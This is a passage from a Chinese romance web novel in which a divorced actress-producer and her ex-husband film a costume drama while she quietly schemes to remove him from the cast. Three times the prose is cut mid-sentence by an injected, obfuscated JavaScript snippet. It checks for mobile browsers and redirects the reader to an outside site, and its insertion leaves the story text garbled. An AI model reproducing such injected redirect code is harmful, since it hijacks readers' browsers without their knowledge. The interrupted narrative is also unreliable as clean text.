云灯并不反抗,主动仰起下巴,用额头抵他的手心,“没有生病。” 叶平川道,“那怎么忽然翘班?” “就是不想干了嘛。”她理直气壮地眨着眼睛。 她的五官没什么攻击性,眼睛的形状甚至接近杏眼,又大又圆润,水盈盈的。眨一下就是八百个心眼子。 有这么一张堪比古早小白花的漂亮脸蛋,气质却跟傻白甜毫不沾边。她的面相一看就是聪明人,身上仿佛有种与生俱来的高智感,刻意扮蠢都用。被放到青春伤痛文学里也只能演反派恶女大小姐。 她的头发还湿着,垂在两侧。无端的,叶平川想起她在《潮夜》里的长发齐刘海造型。 那种白切黑的反差感,带着清冷与厌世,连亲手报仇时都只是面带微笑,而不失控。 一只笑起来很温柔的冷血动物。 被她注视着,叶平川说不出话来,又无法克制地心跳加速。 “我们出去看星星吧?”云灯忽然对他说。“今晚夜空很晴,应该能看到很多。” 她偶尔是会做些一时兴起的事。但翘了班在这夜观天象,怎么看都不算正常。 叶平川说,“吹干头发再去。” “好的。”她的声音永远温和愉快,不会粗声大气地说话,“那你等我一下喔。” 已经到了晚上出门必须要穿羽绒服的季节。叶平川还穿着大学时学校统一发的黑色长羽绒服,她穿了身白色的。 并排走在一起散步,仿佛勾魂索命也是顺手的事。还好呼气会溢出白雾,可以帮忙证明是两个活人。 云灯抬头寻找星星,一颗颗连成了线,果然很清晰。她随意地问,“你们把那个烤地瓜炉子用成功了没?” “没有。火大地瓜小,烤得黢黑跟炭似的。”叶平川想起那手忙脚乱的场景,笑了笑,“就中间一口能吃。本来还想带两个回来的,让他们给抢没了。” “大馋丫头和大馋小子。” “还不是你带出来的兵?” “……” 云灯也笑起来。没有任何铺垫,她突兀地说,“叶平川,你退出这部剧吧。” 叶平川停住了脚步。 “为什么?” 她跟着停下,一本正经道,“你不适合这个角色。” “就你这个当配菜的男主角,我闭着眼都能演。”他不假思索地嗤笑,“想赶我走也编个靠谱点的理由行么。” 云灯叹了口气,用“既然你执意如此我也只好告诉你”的语气说,“其实你待在这里,我会觉得很烦。” 意料之中的,这句话让叶平川很受伤。他没再像刚刚那样立刻反驳,一时之间甚至都不想说话了。 云灯本来想拍拍他的肩膀略表安慰,但鉴于让他伤心的人就是自己,这时候再做什么都未免太假惺惺了点。再说手伸出来也很冷的。 她和叶平川一样双手插兜,站在沉默的空气里,踢了一脚路边的石子。 客观地看,不过只冷场了十来秒。叶平川镇定地站在那,大脑CPU转得飞起。 前两天还使各种手段让他融入剧组,好好拍戏出片呢,今天忽然就要让他走,态度一百八十度大转弯。 早晨叫他上班时还是好好的,也就是今晚,她见完新演员之后就忽然让他滚蛋。 关键那新演员是个女孩啊,跟他又没有资源冲突。 应该是见面时发生了什么。 一时半会儿连不上思路,不过问题多半就出在这里。他回头自然会去查清楚。 而现在,随便扔出一句难听话就想骗到他? 这很可笑。 叶平川得出结论,“我不走。” “唉……” 云灯正要说话,被他打断,“你是个利益优先的人,最擅长权衡得失,不然当初也不会硬着头皮把我找来。现在又让我走,肯定是发生了更紧迫的事。” “看你的状态,不像是遇到更合适的男主了才要把我换掉。那就是剧组出了问题,想提前把我摘出去。” 她虽然偶尔有点没良心,但总体来说还是个讲义气的人。 这一点在感情和工作中都很重要,跟她合作过的同事有口皆碑的,可不是他前妻脑发作。 “想也知道你不会跟我说实话,索性不问了。” 作为同样讲义气的人,叶平川正直道,“我只告诉你,虽然离婚了,但必要的时候我还是会站在你这边。哪怕只是个朋友,我也会帮一把的。” “你也别指望这会儿护着我就算偿还人情,就再也不欠我什么了。”他又强调,“我们俩的事跟别的所有事都不互通,没有人情可抵。各论各的。” 这个世界上只有两种人能让她打起精神来认真对待,一种是聪明人,一种是了解她的人。叶平川两边都沾点。 云灯没再说让他走的话,只是莫名感叹,“南江真是个盛产好人的地方啊。” “……” 叶平川脑子短路了一瞬,“盛产这词儿是这么用的么?除了我南江还有谁在啊。” 她没接茬,笑完又说,“那你打算怎么帮我呢。” “现在?” 他想了想,勉为其难地张开双臂,“可以给你个朋友的拥抱,安慰一下。” 他也有在当制片的朋友,项目出问题时焦头烂额,恨不得一头撞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15071695|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死在投资人面前以表心志。麻烦事儿可太多了,云灯要面临的状况也不会好到哪去。 “真的?”云灯望着他,往后倒退着走,“那你要接好我。” 她连着退了好几米才停,终于舍得把手从口袋里拿出来,小跑加速往前冲,跳到叶平川身上,抬腿牢牢盘住。 叶平川被撞得往后退了一步,抱着她转了好几圈,放声大笑。 沉默的空气再次开始流动。冷空气吸进肺里,感觉整个人又活过来了。 不远处有车停在路边。他眼睛被闪了一下,习以为常地别开脸,“怎么这个时候还有人在拍啊。” “拍呗。” 云灯把手藏在他羽绒服兜帽底下取暖,好像有点开心,晃了晃腿说,“两口子凌晨出来约会,从诗词歌赋谈到人生哲学,被拍到发出去也很浪漫啊。” “谁跟你从诗词歌赋谈到人生哲学。” 叶平川嫌弃了一句,嘴角却诚实地扬起来。看她没有下来的意思,“要抱你回去啊?” “好~” 云灯侧头趴着,鼻尖被他的发尾扰得有点痒,吸了一下,“叶平川,你好像从来没叫过我以前的名字。” “哪个名字?潘云灯?”他自然地接话,“你不是说不喜欢这名字么。” 因为太讨厌亲爸,云灯去港市上学时就自己更新身份证改名,把父亲的姓去掉了。 叶平川忽然警觉:“该不会这事儿也是编来忽悠我的吧?” “是真的好不好!”云灯被他的反应逗乐,“我干嘛编个名字来骗你啊。” “这还差不多。”叶平川放心道。“明知道你不喜欢还叫来干嘛,我是跟你有仇么。” 对啊。 明知道她不喜欢。 云灯伏在他耳边,悄悄地说,“其实你每次叫我言秋的时候,我都会想到这个。” 言秋和沈言秋,云灯和潘云灯。 或许冥冥之中真有命运指引,才让她来饰演这个角色。 “但我觉得,你再收着点演比较好。”她说着说着,又聊到工作上,“谢大人性格是成熟内敛的,你心动得会不会太快了?” “你是说,我隔窗看你睡觉的那场戏?” “嗯。” “不快啊。”叶平川不以为然,“你还不够了解男人。爱与不爱哪里需要很久才能确定,都是一眼定生死的。什么性格都一样。” 他顿了顿,不知想到什么,有点怀念地笑了,“你还记不记得我们拍无影之地,从剧本围读到进组,中间有两三个月没见面。你从来不主动联系我。” “那年我还没拍过什么像样的代表作,以为你看不上我呢。”叶平川说,“不过我安慰自己那也正常,毕竟你红得早,戏龄上还算是我前辈,高冷点也是应该的。” 他家里条件是好,但对他选择的专业不支持也不反对,属于完全放任自流,从没给过什么资源帮助。能不能混出头,都要靠他自己去搏。 刚毕业没多久,他跟别的同学一样,一部戏接一部戏地跑着去试镜,被拒绝,被奚落都是家常便饭。 他跟云灯的第一部戏,也是他第一次出演男主角。 “进组那天,我跟小唐开车去的。开的好像是那辆奔驰G,小唐半路高反晕得不行,躺后面去了。我自己开了百来公里,到地方之后没立刻下去,坐在车里给自己做思想工作。” 他坦率而诚实,“一想到要见你,后面几个月都要跟你拍戏,我紧张得……有点不敢下车。” “结果那个时候你走过来,对着我车窗补口红。你知道吗?”他说,“那个时候我隔着车窗看你,气都不敢大声喘。谢凭渊看言秋的时候,心里想的肯定跟我一样。” 云灯在他耳边笑,下巴垫着他结实的肩膀,声音很轻,“我知道你在。” “……什么?” “我说,我知道你在车里。”她重复道。 “故意钓你的。” 14. 第 14 章 叶平川心中单纯美好的初恋滤镜碎了一块,但很快就被另一项奇妙的发现取代,“什么意思,你那个时候就看上我了?” “……” 他没有沮丧,反而有点得意,“原来你那么早就在打我主意了!” 娱乐圈里摸爬滚打,云灯时常被男人们迷之自信的脑回路震撼。 但鉴于叶平川是个货真价实的高富帅,这份自信倒也显得合情合理。 更何况,他的推论并没有错。 云灯无法反驳,到了大堂就从他背上跳下来,挥挥手走向电梯,“晚安谢大人。” 把叶平川弄走是她的第一选择。但她今晚只是探探口风,没想要强硬地实施。 开机宣发都做了,戏也拍了不少,再把他踢出去找新人,确实是很麻烦。 叶平川自己愿意走的话倒也还好说,但如果他不想配合,麻烦程度就会超级加倍。 很不划算。 她向来都喜欢付出最小的代价达成目的。情况还没坏到那个份上,没必要在出事之前就大费周章。 叶平川这人,平常相处起来没什么架子,在片场也很能听进去导演和其他人的意见,仿佛很好说话。 其实他是整个剧组最不可控的因子。 要控制一个人,最简单的办法就是拿捏把柄。知道他最想要和最恐惧的是什么,再将之利用起来。 叶平川选择这个行业,只是凭着青春期的一时兴趣。叶家父母虽然开明,不干涉也只是暂时的。 那么大个家业总要有继承人管理。三十岁之前算是留给他玩的时间,不可能这辈子都让他当演员,再拿多少座影帝小金人都不行。 家族是一座靠山,也是一份责任,享到了好处就不可能完全不受拘束。 叶平川自己也很清楚这点,所以只是单纯地享受当下,干一行爱一行,从没把当演员当成毕生追求的信仰。 换句话说,用事业来威逼利诱,对他是行不通的。真把人惹毛了,他随时都可以创翻所有人,后果不过是提前回去继承家业而已。 那么……情感关系呢? 都已经离了婚了,当然就更不可能。 暂时想不到有什么让他乖乖听话的好办法。 正有些头疼时,她又收到谢大人发来的消息。 【我知道你还没睡】 【今天跟你见面那个谭雪舒的底细我让人查了,现在看着是没什么问题】 【你俩是有仇吗?】 云灯长叹一声,坐起身,靠在床头回消息。 【没仇。就是她公司老让给她加戏,搞得我有点烦】 【富姐太忙,我只好和你发发癫】 叶平川很快回复了她。 【不喜欢就踢走,她不想干有的是人干】 【你缺钱吗?】 【也不是】 【我对演员还是满意的,但第一次当制片,没想到会这么多麻烦事,心很累】 【可能就是压力有点大】 她想了想,又加一个流泪猫猫头的表情包,显得情绪更可信些。 叶平川回了她一个摸摸小猫的表情包。 【看出来了】 【这很正常,我有个同学也是盘子搞太大融不到钱就崩溃跳楼了】 【……】 【你比他能扛事。这样有没有安慰到你一点?】 太可怕了。云灯想。 叶平川连她喜欢靠比惨解压的阴暗心理都了解得很到位。 【谢谢谢大人,好受多了】 【明天又是元气满满的一天】 云灯打完字发出去,自己倒在床上莫名其妙地笑了半天。 或许文字是有欺骗大脑的效果,她笑完真的没那么烦心了。睡得也还算踏实。 隔天到片场,免不了转着圈地赔罪道歉。邓晓琼卷起剧本往她脑袋上连敲了三下,“原谅了。速速找状态给我开机。” 她没问云灯为什么反常地旷工。说实在话,在片场时她脑子里只有拍摄,更关心言秋的状态,对演员的私事没有太多探究的欲望。 只要开机后表演状态在线,云灯半夜出去杀人抛尸她都管不着。 云灯非常欣赏这位冷酷的工作狂,“今天保证不给你废片。” 奔着一条过赶昨天落后的进度,拍摄节奏非常快。恰好剧情也到了主角小队回京,将军府遭到弹劾之时。 朝中有人举报段老将军收受贿赂,私荐官员自成一党,皇帝盛怒,将其禁足将军府调查嫌疑,连亲眷都不得随意外出。 局势紧张,只有言秋可以借采买的名义出门。再三考虑后,她来到了永宁侯府门口。 可是既拿不出拜帖,也没有可信的人引荐,她怎么见得成谢凭渊呢? 连续碰壁两次后,她决定蹲点等谢凭渊上朝。寅时天还未亮就到了侯府门前,跟门口两边的石狮子一样,披身露水苦等。 “言秋?”谢凭渊摸黑看见她瑟瑟发抖的身影,目露惊愕,翻身下马,“果真是你。” 幸而他今日骑马上朝,才有这匆匆一瞥,若是乘轿,必然要错过。 “我想见你。”她半夜出门,冻得牙齿打颤,话都说不利索了,“可是见,见不到。” 谢凭渊解了披风裹住她,叫亲信在门前等候,先带她回府安置,“怎么不叫将军府送拜帖来?” “那怎么行。”她的政治敏.感度很高,“正是风声鹤唳的时节,若被人知道,会议论你与将军府有勾连。” 进了暖阁,左右无人。谢凭渊难得打趣,“可你来见我,不就是想勾连么?” “……” 他自知失言,轻咳一声转移话题,“你的来意我如何不知呢,想必是为了近日府中的官司,来找我帮忙的。是不是?” 她脸色苍白,眼下乌青,定是连日以来无法安枕,为家中变故心急如焚。 “我不是想要你为将军府说好话求情,只是希望能公平公正地审理,求一个真相。他们绝不是那样的人。” 言秋微红着脸,努力放下自尊,生涩地说,“求大人帮我……帮帮我们吧。” “我明白。”谢凭渊安抚道,“即便你不来,我也同办事的官员打过招呼了。此时只是例行审查,并非降罪。待审查结束,他们会没事的。” 得了极重要的保证,她这才松了口气,“谢谢你。” “不必言谢。先安心地在这里暖暖身子,若困了,就窝在榻上睡一觉。天还未亮,女子独自出行太危险。” 谢凭渊笑道,“待我下朝,回来带你去吃点心。” 言秋也露出浅笑,“好。” 两人一坐一站,四目相对。邓晓琼看着取景框露出了姨母笑,“可以。就是这个味儿。” 原先的剧本里,谢凭渊的戏份不如现在多。尤其是一些两人之间的互动,大多都是现场发挥临时加的。 毕竟叶平川这样的男演员,平时拿钱砸也不一定请得来。这次因祸得福,她当然是要物尽其用。 晚饭时两人在车里一起吃小助理做的便当。叶平川只分到一碗水煮菜和寡淡的蘸汁,但也只是面无表情地撇撇嘴,麻木进食。看起来命很苦的样子。 “哇,你们昨天半夜出去散步啦。”梁天刷着微博,笑眯了眼,“好浪漫喔。” 云灯探头,“是有人发路透了吗?” “在热搜上挂着呢,姐你看。” 【甜到昏厥……拍戏也要见缝插针地约会啊,你们两口子别太会玩情调了】 【还是真夫妻好磕啊啊啊稳稳的很安心!】 【之前说他俩婚后不同框是情感危机的酸黑粉们现在打脸了吧】 【期待二搭!!期待剧组花絮大放送!!再给孩子多来点吧孩子饿坏了】 【……】 昨晚被拍的照片今天就上热搜,效率还挺高。 这种导向正面的舆论不用怎么干涉,她看一眼就放下了手机,“知道了。谭雪舒今天开始拍摄了吗?” “对,我去看了一眼,他们那边效率挺高的。”梁天说。“听说她工作特别专注,在片场适应得很快。” “哦还有,你让我留意的那辆车牌757的丰田确实还停在那里呢。这都好几天了,会不会是私生啊?不然我联系酒店保安赶走好了。” 听到这,叶平川放下叉子,“什么车?” “不用管。”云灯说。 梁天不太确定她这句是对谁说的,转头看了看叶平川,见他没说什么,又继续对付那碗蔬菜沙拉,便点点头,“那行。我再观察几天。” 助理当久了,她基本的眼力见还是有的,说完就下了车。 与她所想的不同,她下车之后剩余的两人只是继续吃饭,并没有讨论什么不适合公开的私房话。 叶平川没问。 云灯自然也不会主动说。 梁天离开没几分钟,就又给她打电话,喊她出去,“你们快看谁来了!” 有人来探班。云灯第一反应是她粉丝站姐组织的惊喜,可听梁天的语气又不太像。 直到一道绰约的身影在夜色中映入眼帘—— “妈妈!” 她飞奔过去,眼中的惊喜不似作伪,挽着宋澄锦的手,一叠声地问坐飞机累不累,“怎么这个时间来呢?应该让叶平川提前去机场接你的。” 宋澄锦一手拉着行李箱,怀里还抱了束粉白色混搭的玫瑰花,喜笑颜开,贴着她的脸颊亲了亲,“这里工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋澄锦语调优雅地阴阳怪气,“你们男人的品味那么高,怎么看得上我挑的东西呢?想礼物还是找你爸要去吧。” “……” 这一听就是两口子又吵架了。叶平川识相地退出聊天,“老叶又惹着你了?我去问问怎么个事。” “顺便去楼下把我们点的奶茶外卖拿上来。”云灯贴心地安排道。 叶平川:“没有我的吗?” “多点了份芋泥小料。那一口是给你的。” 这还差不多。 叶平川稍感安慰,下楼跑腿的途中打电话查询家庭状况。 不问不知道。叶其斌一把年纪了,人在巴黎,心在北极。 说白了也不是什么了不得的事。昨天在巴黎逛古着店时宋澄锦想买一顶帽子,就“蓝色好看还是灰色好看”这个问题,两人意见没有达成一致。 虽然最后都买了,但争论过后她越想越气,半夜离房出走,一声不吭就自己先回国了。 “这次你得支持我啊,儿子,你不知道那顶蓝色帽子丑成什么样!那戴着跟跳广场舞的老太太似的,什么衣服也救不了。你妈她审美真不行。” 叶其斌大吐苦水,“你知不知道她怎么对我的?就这么把我扔在巴黎,一觉睡醒我身边空无一人!” “广场舞怎么了,就您那审美水平还好意思歧视老太太呢。”叶平川说,“要不是跟着我妈,人家秀场愿意让你进去么?你一张嘴就得让人赶出来。” 他自认为非常公正地拉偏架,“别叨叨了爸,你背后也是空无一人。” “……” 一番父慈子孝的交流之后,两人同时挂了电话。 叶平川套上卫衣,踩着酒店拖鞋下楼去拿奶茶。 他进组时没带多少衣服,私服只有基础款,灰色连帽卫衣外面罩了件黑羽绒服。 偏偏身高腿长比例优越,一身半夜下楼倒垃圾的路人甲穿搭,硬是被他穿成了秀场高定。 外卖就放在前台。他拿到以后没急着上楼,心里还想着另外的事,径直走出了大堂。 三更半夜,月黑风高。 那辆丰田果然还停在路边。正对着云灯房间的窗户。 司机注意到有人靠近,立刻打着了火,车灯亮起,仿佛只是临时停靠。但既不开走,也不熄火。 不过是掩人耳目,等路人走远再继续监视。 知道车里有人在看,叶平川不避不躲,拎着奶茶单手插兜,步伐懒散地走了过去。 拖鞋趿地的声音在寂静的夜里格外刺耳。 就要走过车时,脚步声忽然停了。 玻璃上映出一张英俊而冷漠的脸。 叶平川弯下腰,敲了敲车窗。“喂。” 15. 第 15 章 “你跟叶平川是不是也闹别扭了?”酒店房间里两人收起首饰时,宋澄锦忽然问道。 云灯一怔,想叶平川那个笨蛋,私下里的小情绪从来都不知道藏的。知子莫若母,两人的事恐怕瞒不住多久。 其实叶平川没露馅。 明察秋毫的宋女士进门就看出这里只有一个人住。她太了解自己的儿子是什么脾气。就叶平川那个霸道劲儿,如果不是闹别扭,不可能愿意分房睡。 云灯没立刻回答,迟疑的态度本身也是一种印证。 宋澄锦并不打算逼迫她开口,很自然地接着说,“正常,小吵怡情。反正那是个厚脸皮的家伙,你骂也骂不坏他的。” “有时候这些男人就是日子过得太舒服了,你越顺着他惯着他,他就越不成气候。不给他点厉害看看,他还以为自己能当家作主了呢。” 话说得很有格局。 完全看不出她跟老公跨国吵架,只是因为两人对帽子的颜色意见不同。 结婚三十年,她很乐于向儿媳妇传授持家之道,“一个家庭的核心永远是女人。你要把自己摆在重点,知道吗?” “男人但凡有太多自由就容易变坏。你一定要约束他,要让他围着你转,想办法讨你开心。这样他就会懂得努力上进,人才不会养废掉。这才是为他好呢。” 云灯乖巧点头,“知道啦妈妈。” 两人交谈完,叶平川才回来。宋澄锦说话说得都渴了,“怎么这么久?” “我爸不是惹你生气了么?”叶平川很自觉地拆开外卖,给两人地插上吸管,“我打了个电话,教育教育他。” 主打一个倒反天罡。 “老叶在机场呢,马上起飞了。” 宋澄锦:“呵,谁管他。” 这趟上来,他衣角微脏,袖子还被挂破了一道。 叶平川认为有必要替自己的羽绒服报工伤,但还没开口,两人就把他撵走了。 “等等。”云灯掏出那只装芋泥的小料盒子给他。还没颗鸡蛋大,“你的宵夜。” “……” 叶平川只好带着他那可怜的一口芋泥退场,走出门就吃完了。 宋澄锦没让人再开房间,晚上跟云灯一起睡。隔天早上云灯起床,自然是没有吵醒她。 还没等她睡起来吃午饭呢。叶其斌就打飞的追过来,风风火火地把老婆接走了。 她离开时云灯还在片场拍戏,收到消息也不意外。只发微信叮嘱路上小心,拍完戏再回家找她一起玩儿。 实际上都不知道还有没有那个机会。 “对了姐,”梁天说,“我今天又去看,那辆丰田开走了。” 云灯抬起头看她,没说话,但眼睛里明显地浮出一个问号。 小助理再三保证,“真的。昨晚回酒店看还在呢,今天一早就不在了。” “没事就好。”虽然这样说,她也并没有什么松一口气的反应,“你去忙吧。” 又过了两天,叶平川也收到了礼物。不过意义不同,不是爸妈出去玩给他捎的伴手礼,而是生日礼物。 他的生日是十一月底,也就是下周。宋澄锦嘴上嫌弃,哪里会真不给他准备礼物。送他的手工表是需要提前很久预定的限量款,在他生日之前到货了,直接寄给他。 叶平川镇定地打开,戴在手腕上欣赏了几分钟,到隔壁找云灯炫耀。 在房间里走来走去,干些有的没的,各种角度超绝不经意地露出手腕展示。 戏瘾犯了似的。云灯瞥一眼就知道他想干嘛,懒得配合,“身上痒就去洗澡。” “……” 叶平川有点泄气,重重地坐到她身边,沙发陷下去一大块。 云灯身子一歪,抱着笔记本往旁边挪了挪。 她好像在看什么表格。叶平川凑近看了一眼屏幕,是马上要去草原拍戏的各项预算报表。 剧组拍戏并不都按照剧情顺序的,得看情况安排调度。中后期有一段木兰围猎的剧情,要去乌兰布统草原拍摄。 影视基地那边说再晚过去就要下雪了。为免跟剧本里需要的场景冲突,剧组决定提前去。差不多得拍个两周。 不出意外的话,他今年的生日要在草原过了。 宋澄锦来探班时带的花还在她房间里,包装纸都没有拆开,原样在花瓶里放着。 她忙得没时间插花。但根茎浸了水,还是自顾自地开得很好。 叶平川漫不经心地看着那束粉白花朵,听她跟工作人员发语音沟通。温声细语,有出错的地方指出来纠正,也不会严厉地责怪。 “我有时候觉得,你跟我妈两个人其实作风挺像的。” 叶平川说,“她也是这样,对着别人都温柔亲切,回到家就只欺负我爸一个。” “所以我那时候非常笃信,你一定就是……”他声音停顿,余光里看见花束外包装的绸带上,印着斜纹花体的“destiny”,自嘲地笑了笑。 就是要跟他过一辈子的人。 最后一条消息发完,云灯才有功夫理他,“我哪里欺负过你。” “离婚不是也跟你商量过吗?你也同意了的,又不是我一个人说离就离了。” ……哇塞。 叶平川想都想不到,她居然能心平气和地说出这种话,“难道不是你非要离婚的?我除了答应还有什么办法,总不能把你腿打断栓床上不让你出门吧!” “……” “我又不是自愿的。”怎么想都气不过,他声音越来越高,“你上回还说这事是委屈我了要补偿我呢!怎么现在又说——” “说什么说,”云灯不耐烦地打断,“你不准这么大声地跟我讲话!” 还说自己做过的决定都不会后悔呢,忽然又在这里翻旧账。 她心里一股无名火,提高音量吼回去,“也不要这样超不经意地在我面前炫耀你的新表了!很可笑!是小孩子吗!” 叶平川愣住了,哑口无言,一脸“你竟然吼我”的难以置信和委屈。 半晌,才垂头丧气地说,“这是我的生日礼物。” “……” “你是不是把我生日忘了。” 云灯深呼吸,很快恢复平静,“没有忘。” “那你今年是不准备给我生日礼物了吗?”他又小声试探。 叶平川一家人对礼物的重视都超乎想象。大到生日节日和度假旅行,小到普通的休息日,哪怕只是因为提前几小时收工这种理由,都值得带礼物庆祝。 “都已经离婚了,当然就没有礼物。”云灯故意道,“但你还是剧组的一份子。每个演员在组里过生日都有聚餐和生日蛋糕庆祝,到时候你也会有。” 叶平川愤然起身,“谁稀罕。” 他扔下这么一句就走了。云灯也没去哄他,回完消息看时间差不多了,去导演房间里开剧本会。 临走之前,她还要跟江煜拍一场情节关键的吵架戏。是情绪消耗很大的一场。 言秋拒绝了段长骁的求婚,反而提出要参加女官考核,选拔进宫,把他气得嗷嗷叫。 江煜的情绪爆发力不足是个缺陷。为了刺激他演好这段,导演故意卡了好几遍。演到后来,他变得忐忑急躁,情绪才顶了上来。 这一次离别,将会彻底把两人的命运岔开不同的方向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079681|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。彼此都有太多的不安和无奈。 她不能再继续留在将军府。外面虎视眈眈,一旦她身份暴露,多年来拘禁皇室血脉的大不敬罪名随时都能扣在将军府头上,满门抄斩。 段长骁不是不知道轻重,可怎能忍心放得开手。 “让我带你走吧。”他红着眼苦苦哀求,“我们去寻个与世无争的好地方,再也不回来。远离那些居心叵测的人,远离一切的阴谋诡计,好不好?” 少女敛着眉眼,声音发抖,心意却比他更加坚毅,“不好。” “那你待如何!难道让我亲眼看你入宫?你在那里头一个认识的人都没有,万一你被人欺负,被人陷害怎么办!万一皇帝对你起了心!他可是你的……” 段长骁狠狠咬牙,咽回了不该说的话,抽出腰间的匕首,将刀柄交给她,“你若执意要走,不如捅我一刀。让我伤得无法起床下地,也就拦不住你了。” 言秋拔下发簪,用他的匕首割断了一缕长发。松开手,发丝纷纷扬扬地散落一地,“此生以今夜为界。” 段长骁不可思议地睁大眼睛,眼眶中逐渐溢出泪水。这一刀当真比割在他身上还要痛千百倍。 “离府之后,我的生死荣辱都与你们没有干系。曾经有过的日子也不便与人提起。你我之间……” 她低声道,“就当从未相识过吧。” 导演喊卡后云灯停顿了两秒,转身利落地抹去眼泪,“这一遍很好。” 江煜没有她出戏那么迅速,依然陷在情绪里出不来,崩溃地坐在地上流泪。察觉她要走开,下意识地抱住她的腿,“不要离开我!!” “……” 云灯蹲下来拍了拍他的肩膀,柔声道,“好啦。收拾一下回房间好好睡一觉,明天我们去草原喝奶茶,吃羊肉火锅。” 她的声音似乎带有魔力,三言两语描绘出的烟火味足以慰藉人心。 江煜望着她,怔忪地点了点头,情绪平静下来,“好,好的姐,要不你也先把刀放下。” 他在木兰围猎里还有戏份。同样要跟着去的还有谭雪舒,她饰演的谢尚宫就是前几届经过选拔的女官,两人在围猎里也有好几段对手戏。 走之前梁天替云灯收拾好行李,又去把她提前定好的礼物取回来。 云灯卸完妆,懒散地倚在靠背上,一只手打开表盒,却没有拿出来看。 “这表看起来好贵啊。”梁天在旁边观察,“得要百来万吧?” “你的想象力还可以再大胆一点。” 梁天倒抽一口冷气。 虽然不关她什么事,但正常打工人听到都会感到肉疼。 她又想起去年,入冬前气温骤降,叶平川在大西北拍戏没带够衣服。云灯在上海有行程,活动一结束就带着她去商场,给叶平川买衣服御寒。 她还记得那是家意大利品牌店,衣服上没有一个logo,价格却贵到诡异,薄薄的一条秋裤都要十万块钱。云灯眼都不眨地给他从里到外买齐了两套,当晚快递加急寄过去。 叶平川收到穿了说非常暖和。但他并不觉得,是因为昂贵的软黄金面料发挥出了作用。 当然是因为他老婆亲手买的,才会这么暖和。 “真爱。”梁天掷地有声道,“这绝对是真爱。” 云灯忍俊不禁,关上表盒,“收起来吧。” “啊?为什么?”她又有些摸不着头脑,“不是要带去草原,等川哥生日那天送给他么?” “撞款了。”云灯说。 她挑的款式,跟昨晚叶平川手上戴的那块一模一样。 他都已经有了。 她就不想送了。 16. 第 16 章 表是决定不带了。但那只紫罗兰色的翡翠镯子,要在剧中作为定情信物出现,是得带着的。嫌保险箱太麻烦,出发时她就直接戴在了手上。 木兰围猎发生在她身份已揭露的皇长女时期。每逢秋末冬初,皇帝都会亲自带领皇子皇孙,王公大臣们到草原演武涉猎。 这是有心储君之位的皇子们表现的好机会。如果能在围猎赛场上拔得头筹,势必能令父亲龙颜大悦。 为这段戏,云灯提前半年做骑射训练,实际到场拍摄时上手很快。 在马场里训练和来真正的草原上骑马,感觉截然不同。冷风过肺,凛冽的味道是独属于北方的冬天。 她在剧情里有一箭射中靶心的镜头,不希望用机位切换代替结果,自己能射中最好。开拍前叶平川陪她练习。本来还算和平的氛围,忽然被一句“要不要比赛”点燃。 ——虽然后来两人回忆时,都不肯承认挑头的那句是自己说的。 叶平川也演过少年将军的角色,做过类似的训练。两个靶位都箭无虚发,但和靶心的距离或近或远,分毫之间总有差距。 从一开始的三局两胜,变成五局三胜,又变成了计分制。旁边没有别人,他们只能一边比赛一边自己计分。 这一箭你近,下一箭他近,比着比着把积分都忘记了,只较量眼前的这一箭谁更精准。 玩到最后,身后突然响起一阵掌声,“好准头!你们俩还挺在行,下过功夫了。” 两人同时回头。云灯先反应过来,叫了声姐,一通嘴甜。 叶平川有些惊讶地陪同寒暄,等人走之后说,“你居然请得动她来客串?” 这位老前辈年近七十,年轻时叱咤影坛,是上一辈里家喻户晓的表演艺术家。息影已久,除了早些年拿终身成就奖时曾经现身颁奖典礼的红毯,其余时候她都很少在媒体前露面。 围猎的夜宴里,大庆朝皇帝接见草原部落的首领,是一位年迈的女王,由她来饰演十分合适。 但这样息影已久的重量级前辈,连许多知名导演邀约都不肯出山,云灯竟也能请来她来客串。 “我当然有我的办法。” 空旷的场地里,云灯故意压低声音讲八卦,勾得他好奇心迭起。 “她那个倒插门的女婿这两年不乖乖听话离婚,搞一堆幺蛾子让她烦心。我正好能帮她解决,她过来给我的戏拍几天客串也是礼尚往来,应该的嘛。” “上门女婿?那还在装什么硬骨头。”叶平川嗤之以鼻,“不肯离婚是打算吃绝户么。” “那还用说?问题是她女儿在日本跟嫩模约会,被那狗崽子拍到了,离婚是过错方。可给他逮着了,婚姻法本来就不站女人这边,狮子大开口的机会怎么能放过。”云灯很灵性地翻了个白眼。 “不过我后来查的时候发现,那个模特跟他很早就有往来。我怀疑根本就是他故意派人去勾引他老婆,然后再跟着偷拍的。” 叶平川大惊失色,顺手递来毛巾和矿泉水,“这不仙人跳么!畜生,跟自己老婆还使这么脏的心眼。” 云灯叹了口气,擦擦汗,喝口水继续,“就是说啊。” 孩子出了事当妈的不能不管,但要管也麻烦,扯不清的官司。 前辈姐英年早婚又早离,没亲手抚养过这个女儿,其实没什么母女感情。要是能有个人替她料理了这烂摊子—— 